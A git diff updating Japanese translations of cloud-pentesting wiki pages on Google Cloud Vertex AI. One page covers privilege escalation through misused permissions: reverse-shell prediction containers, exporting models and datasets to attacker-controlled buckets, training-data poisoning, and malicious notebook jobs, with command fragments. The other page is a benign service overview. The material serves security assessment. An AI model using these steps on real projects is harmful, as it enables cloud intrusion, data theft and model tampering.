- #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -サービスアカウントで実行するための**batch prediction jobs**を作成する権限があれば、metadata serviceにアクセスできます。悪意のあるコードは、batch predictionの処理中に**custom prediction container**や**malicious model**から実行されます。 +もし**batch prediction jobs**を作成し、サービスアカウントで実行する権限があれば、metadata service にアクセスできます。悪意のあるコードはバッチ予測処理中に**custom prediction container**または**malicious model**から実行されます。 -**Note**: Batch prediction jobsはREST APIまたはPython SDK経由でのみ作成可能です(gcloud CLIはサポートされていません)。 +**Note**: Batch prediction jobs は REST API または Python SDK を通じてのみ作成できます(gcloud CLI はサポートされていません)。 > [!NOTE] -> この攻撃を行うには、まずmalicious modelをアップロードする(上記の`aiplatform.models.upload`セクション参照)か、reverse shellコードを組み込んだcustom prediction containerを使用する必要があります。 +> この攻撃を行うには、まず malicious model をアップロードする(上の `aiplatform.models.upload` セクション参照)か、reverse shell コードを含む custom prediction container を使用する必要があります。
-Create batch prediction job with malicious model +malicious model を使って batch prediction job を作成 ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -237,14 +243,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -もし **models.export** 権限を持っていれば、モデルのアーティファクトを自分が管理する GCS バケットにエクスポートでき、機密性の高いトレーニングデータやモデルファイルにアクセスできる可能性があります。 +もし **models.export** 権限を持っている場合、制御している GCS バケットへモデルアーティファクトをエクスポートでき、機密のトレーニングデータやモデルファイルにアクセスできる可能性がある。 > [!NOTE] -> この攻撃を実行するには、公開(全員が読み書き可能)な GCS バケットを持っているか、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。 +> この attack を実行するには、全員が読み取り・書き込み可能な GCS バケットを持っているか、モデルアーティファクトをアップロードするための新しいバケットを作成する必要がある。
-モデルアーティファクトを GCS バケットにエクスポート +モデルアーティファクトを GCS バケットへエクスポート ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -271,16 +277,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -任意のコンテナで複数のステップを実行する**ML pipeline jobs**を作成し、reverse shellを用いてprivilege escalationを達成します。 +任意のコンテナを使用して複数のステップを実行する**ML pipeline jobs**を作成し、リバースシェルによって特権昇格を達成します。 -Pipelinesは、各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、privilege escalationに特に強力です。 +Pipelinesは各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、特権昇格に特に強力です。 > [!NOTE] -> パイプラインのルートとして使用するには、world writable な GCS バケットが必要です。 +> パイプラインのルートとして使用するには、world writable な GCS bucket が必要です。
-Install Vertex AI SDK +Vertex AI SDK をインストール ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -383,15 +389,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -カスタム training containers を通じて昇格した権限で任意のコードを実行する **hyperparameter tuning jobs** を作成します。 +カスタムトレーニングコンテナを介して昇格した権限で任意のコードを実行する**ハイパーパラメータチューニングジョブ**を作成します。 -Hyperparameter tuning jobs は、異なるハイパーパラメータ値ごとに複数のトレーニング試行を並行して実行できます。悪意のあるコンテナに reverse shell や exfiltration コマンドを仕込み、privileged service account に関連付けることで、privilege escalation を達成できます。 +ハイパーパラメータチューニングジョブは、異なるハイパーパラメータ値ごとに複数のトレーニング試行を並行して実行できます。reverse shell や exfiltration コマンドを含む悪意のあるコンテナを指定し、privileged service account に紐付けることで、privilege escalation を達成できます。 -**Impact**: ターゲット service account の権限への Full privilege escalation。 +**影響**: ターゲットの service account の権限への完全な privilege escalation。
-reverse shell を仕込んだ hyperparameter tuning job を作成する +reverse shell を使ったハイパーパラメータチューニングジョブの作成 ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -432,15 +438,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -トレーニングデータ(機微な情報を含む可能性がある)をexfiltrateするために**データセット**をエクスポートします。 +機密情報を含む可能性のあるトレーニングデータをexfiltrateするために、**datasets**をエクスポートします。 -**Note**: データセット操作はREST APIまたはPython SDKが必要です(データセットに対するgcloud CLIのサポートはありません)。 +**Note**: Datasetの操作はREST APIまたはPython SDKを必要とします(datasetsについてはgcloud CLIはサポートしていません)。 -データセットには元のトレーニングデータが含まれていることが多く、PII、機密業務データ、または本番モデルの学習に使用されたその他の機微な情報が含まれている可能性があります。 +Datasetsにはしばしば元のトレーニングデータが含まれており、PII、機密ビジネスデータ、またはプロダクションモデルの学習に使用されたその他の機密情報が含まれている可能性があります。
-データセットをエクスポートしてトレーニングデータをexfiltrateする +トレーニングデータをexfiltrateするためにdatasetをエクスポート ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -489,25 +495,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -既存のデータセットに悪意あるまたは poisoned なデータをインポートして、**モデルのトレーニングを操作し backdoors を導入する**。 +既存のデータセットに悪意のある、または poisoned data をインポートして、モデルの学習を操作し **backdoors を導入する**。 -**注意**: データセット操作には REST API または Python SDK が必要です(datasets に対する gcloud CLI のサポートはありません)。 +**Note**: データセット操作には REST API または Python SDK が必要です(datasets に対する gcloud CLI のサポートはありません)。 -ML モデルの学習に使われるデータセットに細工したデータをインポートすることで、攻撃者は以下を実行できます: +訓練に使用されるデータセットに細工したデータをインポートすることで、攻撃者は次のことが可能になります: - モデルに backdoors を導入する(trigger-based misclassification) - トレーニングデータを poison してモデル性能を低下させる -- モデルから情報を leak させるようにデータを注入する -- 特定の入力に対してモデルの挙動を操作する +- モデルから情報を leak させるようデータを注入する +- 特定の入力に対するモデルの振る舞いを操作する -この攻撃は特に、以下の用途で使われるデータセットを狙う場合に効果的です: -- 画像分類(誤ラベルの画像を注入) -- テキスト分類(偏ったまたは悪意あるテキストを注入) -- 物体検出(bounding boxes を操作) -- レコメンデーションシステム(偽の嗜好を注入) +この攻撃は特に、次の用途に使われるデータセットを標的にした場合に効果的です: +- Image classification(誤ラベルの画像を注入) +- Text classification(バイアスのあるまたは malicious なテキストを注入) +- Object detection(バウンディングボックスを操作) +- Recommendation systems(偽の嗜好を注入)
-データセットに poisoned なデータをインポートする +Import poisoned data into dataset ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -564,11 +570,11 @@ curl -s -X GET \ ```
-**攻撃シナリオ:** +**攻撃シナリオ:**
-バックドア攻撃 - 画像分類 +Backdoor attack - 画像分類 ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -581,7 +587,7 @@ gsutil cp backdoor.jsonl gs://your-bucket/attacks/
-ラベル反転攻撃 +Label flipping attack ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy @@ -595,7 +601,7 @@ done > label_flip.jsonl
-Data poisoningによる model extraction +Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -609,7 +615,7 @@ EOF
-特定のエンティティを対象とした標的型攻撃 +特定のエンティティへの標的型攻撃 ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects @@ -622,38 +628,38 @@ EOF
> [!DANGER] -> データポイズニング攻撃は深刻な影響を及ぼす可能性があります: -> - **Security systems**: 顔認識や異常検知の回避 -> - **Fraud detection**: 特定の不正パターンを無視するようにモデルを学習させる -> - **Content moderation**: 有害なコンテンツを安全と分類させる -> - **Medical AI**: 重大な健康状態を誤分類させる -> - **Autonomous systems**: 安全性に関わる判断のための物体検出を操作する -> -> **Impact**: -> - 特定のトリガーで誤分類するバックドア入りモデル -> - モデルの性能と精度の低下 -> - 特定の入力に対して差別的なバイアスのあるモデル -> - モデルの挙動を通じた情報漏洩 -> - 長期的な持続性(汚染されたデータで学習したモデルはバックドアを継承する) +> データ汚染 (data poisoning) 攻撃は重大な結果を招く可能性があります: +> - **Security systems**: 顔認識や異常検知をバイパスする +> - **Fraud detection**: 特定の不正パターンを無視するようモデルを学習させる +> - **Content moderation**: 有害なコンテンツが安全として分類されるようにする +> - **Medical AI**: 重大な健康状態を誤分類する +> - **Autonomous systems**: 安全に関わる判断のための物体検出を操作する + +**影響**: +- 特定のトリガーで誤分類するバックドア入りモデル +- モデル性能や精度の低下 +- 特定の入力に対して差別的になるバイアスのあるモデル +- モデルの挙動を通じた情報漏洩 +- 長期的持続性(汚染データで学習したモデルはバックドアを継承する) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). -> The Vertex AI Workbench Executor allows scheduling notebook runs that execute on Vertex AI custom training infrastructure with a specified service account. This is essentially a convenience wrapper around `customJobs.create`. -> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor. +> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API は Vertex AI Workbench Managed Notebooks の廃止に伴い非推奨です。現在の推奨アプローチは、ノートブックを `aiplatform.customJobs.create` 経由で実行する **Vertex AI Workbench Executor** の使用です(上で既に説明済み)。 +> Vertex AI Workbench Executor は、指定したサービスアカウントで Vertex AI のカスタムトレーニングインフラ上で実行されるノートブックのスケジュール実行を可能にします。これは基本的に `customJobs.create` の便宜的ラッパーです。 +> **ノートブック経由での権限昇格には**: 上述の `aiplatform.customJobs.create` メソッドを使用してください。こちらの方が高速で信頼性が高く、Workbench Executor と同じ基盤インフラを使用します。 -**The following technique is provided for historical context only and is not recommended for use in new assessments.** +**以下の手法は歴史的な文脈のために提供されており、新しい評価での使用は推奨されません。** -任意のコードを実行するJupyter notebooksを実行する**notebook execution jobs**を作成します。 +任意のコードを実行する Jupyter ノートブックを実行する **notebook execution jobs** を作成します。 -Notebookジョブは、サービスアカウントによる対話的なコード実行に最適で、Pythonコードセルやシェルコマンドをサポートします。 +ノートブックジョブは、Python コードセルやシェルコマンドをサポートするため、サービスアカウントでの対話型スタイルのコード実行に最適です。
-悪意のあるノートブックファイルを作成 +Create malicious notebook file ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' @@ -680,7 +686,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-ターゲットサービスアカウントでノートブックを実行 +ターゲットのサービスアカウントでノートブックを実行 ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md index e852a00ea..29628006e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -4,101 +4,109 @@ ## Vertex AI -[Vertex AI](https://cloud.google.com/vertex-ai) は Google Cloud の **統合された機械学習プラットフォーム**で、AIモデルの構築、デプロイ、管理を大規模に行うためのサービスです。データサイエンティストやMLエンジニアが以下を行えるようにします: +[Vertex AI](https://cloud.google.com/vertex-ai) は、スケールに応じて AI モデルを構築、デプロイ、管理するための Google Cloud の統合された機械学習プラットフォームです。さまざまな AI および ML サービスを単一の統合プラットフォームにまとめ、データサイエンティストや ML エンジニアが以下を実行できるようにします: -- **カスタムモデルの学習**(AutoML またはカスタムトレーニングを使用) -- **モデルのデプロイ**して予測のためのスケーラブルなエンドポイントを提供 -- **実験から本番までのMLライフサイクルの管理** -- **Model Garden からの事前学習済みモデルへのアクセス** -- **モデルの監視と最適化** +- **AutoML** またはカスタムトレーニングを使用してカスタムモデルを学習する +- 予測のためにスケーラブルなエンドポイントへモデルをデプロイする +- 実験から本番までの ML ライフサイクルを管理する +- **Model Garden** から事前学習済みモデルにアクセスする +- モデルの性能を監視および最適化する -### 主要コンポーネント +### Agent Engine / Reasoning Engine -#### モデル +**Agent Engine / Reasoning Engine** に関する特定の列挙やポストエクスプロイト経路(metadata credential theft、P4SA abuse、producer/tenant project pivoting を含む)については、次を参照してください: -Vertex AI の **モデル** は、予測提供のためにエンドポイントへデプロイできる学習済み機械学習モデルを表します。モデルは以下の方法で扱えます: +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} -- カスタムコンテナやモデルアーティファクトから **アップロード** +### 主なコンポーネント + +#### Models + +Vertex AI の **models** は、予測を提供するためにエンドポイントへデプロイできる学習済み機械学習モデルを表します。モデルは次の方法で扱えます: + +- カスタムコンテナやモデルアーティファクトからの **アップロード** - **AutoML** による作成 -- **Model Garden**(事前学習済みモデル)からのインポート +- **Model Garden** からのインポート(事前学習済みモデル) - モデルごとに複数の **バージョン管理** -各モデルには、フレームワーク、コンテナイメージURI、アーティファクトの場所、サービング構成などのメタデータがあります。 +各モデルにはフレームワーク、コンテナイメージ URI、アーティファクトの場所、サービング設定などのメタデータがあります。 -#### エンドポイント +#### Endpoints -**Endpoints** はデプロイされたモデルをホスティングし、オンライン予測を提供するリソースです。主な機能: +**Endpoints** はデプロイされたモデルをホスティングし、オンライン予測を提供するリソースです。主な特徴: -- **複数のデプロイ済みモデル**をホスト可能(トラフィックスプリッティング対応) -- リアルタイム予測のための **HTTPS エンドポイント** を提供 -- トラフィックに応じた **オートスケーリング** をサポート -- **プライベート**または**パブリック**アクセスの利用可 -- トラフィックスプリッティングによる **A/B テスト** をサポート +- **複数のデプロイ済みモデル** をホスト可能(トラフィックスプリッティング対応) +- リアルタイム予測のための **HTTPS endpoints** +- トラフィックに基づく **オートスケーリング** をサポート +- **プライベート** または **パブリック** アクセスを使用可能 +- トラフィックスプリッティングによる **A/B testing** をサポート #### Custom Jobs -**Custom jobs** は独自のコンテナやPythonパッケージを使ってカスタムトレーニングコードを実行するための機能です。主な特徴: +**Custom jobs** を使うと、独自のコンテナや Python パッケージを用いてカスタムトレーニングコードを実行できます。特徴: -- **複数のワーカープールによる分散トレーニング**をサポート -- 設定可能な **machine types** や **accelerators**(GPU/TPU) -- 他のGCPリソースにアクセスするための **service account** 添付 +- 複数の worker pool による **分散トレーニング** をサポート +- 設定可能な **マシンタイプ** と **アクセラレータ**(GPU/TPU) +- 他の GCP リソースへアクセスするための **service account** のアタッチ - 可視化のための **Vertex AI Tensorboard** との統合 - **VPC 接続** オプション #### Hyperparameter Tuning Jobs -これらのジョブは、異なるパラメータ組み合わせで複数のトレーニング試行を実行して、最適なハイパーパラメータを自動で探索します。 +これらのジョブは、異なるパラメータ組み合わせで複数のトレーニングトライアルを実行して、最適なハイパーパラメータを自動的に検索します。 #### Model Garden -**Model Garden** は以下へのアクセスを提供します: +**Model Garden** は次へのアクセスを提供します: - Google の事前学習済みモデル - オープンソースモデル(Hugging Face を含む) -- サードパーティ製モデル -- ワンクリックデプロイ機能 +- サードパーティモデル +- ワンクリックでのデプロイ機能 #### Tensorboards -**Tensorboards** はML実験の可視化と監視を提供し、メトリクス、モデルグラフ、トレーニング進捗を追跡します。 +**Tensorboards** は ML 実験の可視化と監視を提供し、メトリクス、モデルグラフ、トレーニング進捗を追跡します。 -### サービスアカウントと権限 +### Service Accounts & Permissions -デフォルトでは、Vertex AI サービスは **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)を使用し、プロジェクトに対して **Editor** 権限を持ちます。ただし、次のような場合にカスタムサービスアカウントを指定できます: +デフォルトでは、Vertex AI サービスはプロジェクト上で **Editor** 権限を持つ **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)を使用します。ただし、以下の場合にカスタム service accounts を指定できます: -- Custom jobs 作成時 +- custom jobs の作成時 - モデルのアップロード時 -- モデルをエンドポイントにデプロイする際 +- モデルをエンドポイントへデプロイする際 -このサービスアカウントは以下のために使用されます: -- Cloud Storage 内のトレーニングデータへのアクセス +この service account は以下の用途で使用されます: +- Cloud Storage のトレーニングデータへのアクセス - Cloud Logging へのログ書き込み - Secret Manager からのシークレットアクセス - 他の GCP サービスとの連携 -### データの保存 +### Data Storage -- **モデルアーティファクト** は **Cloud Storage** バケットに保存されます -- **トレーニングデータ** は通常 Cloud Storage や BigQuery に保存されます -- **コンテナイメージ** は **Artifact Registry** または Container Registry に保存されます -- **ログ** は **Cloud Logging** に送られます -- **メトリクス** は **Cloud Monitoring** に送られます +- **Model artifacts** は **Cloud Storage** バケットに保存される +- **Training data** は通常 Cloud Storage や BigQuery に存在する +- **Container images** は **Artifact Registry** または Container Registry に保存される +- **Logs** は **Cloud Logging** に送られる +- **Metrics** は **Cloud Monitoring** に送られる -### 暗号化 +### Encryption -デフォルトでは、Vertex AI は **Google-managed encryption keys** を使用します。以下の構成も可能です: +デフォルトでは、Vertex AI は **Google-managed encryption keys** を使用します。次のような設定も可能です: -- Cloud KMS による **Customer-managed encryption keys (CMEK)** +- Cloud KMS の **Customer-managed encryption keys (CMEK)** - 暗号化はモデルアーティファクト、トレーニングデータ、エンドポイントに適用されます -### ネットワーキング +### Networking -Vertex AI リソースは以下のように設定できます: +Vertex AI リソースは次のように構成できます: -- **パブリックインターネットアクセス**(デフォルト) +- **Public internet access**(デフォルト) - **VPC peering** によるプライベートアクセス - **Private Service Connect** によるセキュアな接続 -- **Shared VPC** サポート +- **Shared VPC** のサポート ### 列挙 ```bash @@ -243,13 +251,19 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region= ``` ### Privilege Escalation -次のページで、**abuse Vertex AI permissions to escalate privileges** の方法を確認できます: +以下のページで、**abuse Vertex AI permissions to escalate privileges**の方法を確認できます。 {{#ref}} ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} -## 参考 +### Post Exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + +## 参考資料 - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) - [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)